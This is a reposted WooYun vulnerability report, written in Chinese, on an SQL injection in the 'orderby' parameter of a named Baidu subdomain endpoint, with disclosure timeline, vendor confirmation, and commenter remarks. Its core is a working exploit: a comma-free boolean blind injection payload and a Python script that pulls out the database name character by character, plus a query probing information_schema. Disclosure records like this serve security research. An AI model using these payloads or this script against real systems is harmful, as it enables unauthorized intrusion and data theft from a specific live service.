百度某分站存在SQL注入漏洞(orderby注射技巧)

admin 2017年4月18日21:43:24评论220 views字数 208阅读0分41秒阅读模式
摘要

2016-04-18: 细节已通知厂商并且等待厂商处理中
2016-04-19: 厂商已经确认,细节仅向厂商公开
2016-04-29: 细节向核心白帽子及相关领域专家公开
2016-05-09: 细节向普通白帽子公开
2016-05-19: 细节向实习白帽子公开
2016-06-03: 细节向公众公开

漏洞概要 关注数(59) 关注此漏洞

缺陷编号: WooYun-2016-197963

漏洞标题: 百度某分站存在SQL注入漏洞(orderby注射技巧)

相关厂商: 百度

漏洞作者: 蓝冰

提交时间: 2016-04-18 22:21

公开时间: 2016-06-03 10:40

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源:www.wooyun.org ,如有疑问或需要帮助请联系

Tags标签: 无

18人收藏


漏洞详情

披露状态:

2016-04-18: 细节已通知厂商并且等待厂商处理中
2016-04-19: 厂商已经确认,细节仅向厂商公开
2016-04-29: 细节向核心白帽子及相关领域专家公开
2016-05-09: 细节向普通白帽子公开
2016-05-19: 细节向实习白帽子公开
2016-06-03: 细节向公众公开

简要描述:

测试扫描器 结果没有识别出来 查看请求信息直觉有漏洞
妈蛋 高兴不起来啊
注入点确实有点蛋疼

详细说明:

code 区域
POST: http://trends.baidu.com/tour/ajax/scenic
code 区域
provinceId=26&timestamp=1437191757000&orderby=heat,desc

orderby参数存在注入

这里的逗号会被替换成空格 也就是order by heat desc

所以不能带逗号 然后heat这个点不存在注入点 desc处是存在的

因为不能带逗号所以不能形成如下的注入语句

code 区域
order by id desc,if((116>115),1,(select 1 from information_schema.tables))
code 区域
order by id,if(1=1,1,(select 1 from information_schema.tables))

经过测试发现可用如下payload

code 区域
heat,rlike case when (1=1) then 1 else char(40) end

因为不支持0x28这种格式所以换成char(40)

1=1时正常

1=2时异常

形成bool盲注

code 区域
import urllib
import urllib2
import httplib
import time
user = ''
for i in range(1,7):
for j in range(32,127):
values = {'provinceId':'26','timestamp':'1437191757000','orderby':'heat,rlike case when (ascii(mid(database()from('+str(i)+')for(1)))='+str(j)+') then 1 else char(40) end'}
data = urllib.urlencode(values)
req = urllib2.Request("http://trends.baidu.com/tour/ajax/scenic",data)
response = urllib2.urlopen(req)
html = response.read()
if html.find('"status":403')==-1:
user = user + chr(j)
print 'Database is : '+user
break

因为貌似有负载均衡导致user() 所以这里只注database()

只过滤了逗号 绕过注出所有数据无压力 我就不深入了

code 区域
heat,rlike case when (select count(1) from information_schema.tables limit 1 offset 0)>0 then 1 else char(40) end

返回正常 仅证明到这 都懂的

漏洞证明:

已证明

修复方案:

过滤

版权声明:转载请注明来源 蓝冰@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-04-19 10:34

厂商回复:

感谢您关注百度安全!问题分析的细致。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分


评价

  1. 2016-04-18 22:35 | 从容 ( 普通白帽子 | Rank:415 漏洞数:99 | 哇啦啦啦啦啦 我的宝贝 | ..)

    0

    蓝冰

  2. 2016-04-18 23:12 | depycode ( 普通白帽子 | Rank:299 漏洞数:53 | 关注网络安全,提高技术!)

    0

    黑客

  3. 2016-04-19 08:00 | hear7v ( 普通白帽子 | Rank:175 漏洞数:26 | 求组织收留啊)

    0

    大牛,求交往

  4. 2016-04-19 08:06 | B1gstar ( 实习白帽子 | Rank:90 漏洞数:24 | 向各位学习来了。)

    0

    @depycode 补天带头大哥 你好

  5. 2016-04-19 08:44 | Dotaer ( 路人 | Rank:28 漏洞数:8 | 多学习,多挖洞!)

    0

    大牛,收徒吗?端茶倒水我都会!

  6. 2016-06-03 11:34 | possible ( 普通白帽子 | Rank:373 漏洞数:32 | everything is possible!)

    0

    收藏 点赞

  7. 2016-06-03 12:22 | 幻老头儿 ( 普通白帽子 | Rank:285 漏洞数:63 | 新手上路。)

    0

    新技能,3Q

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin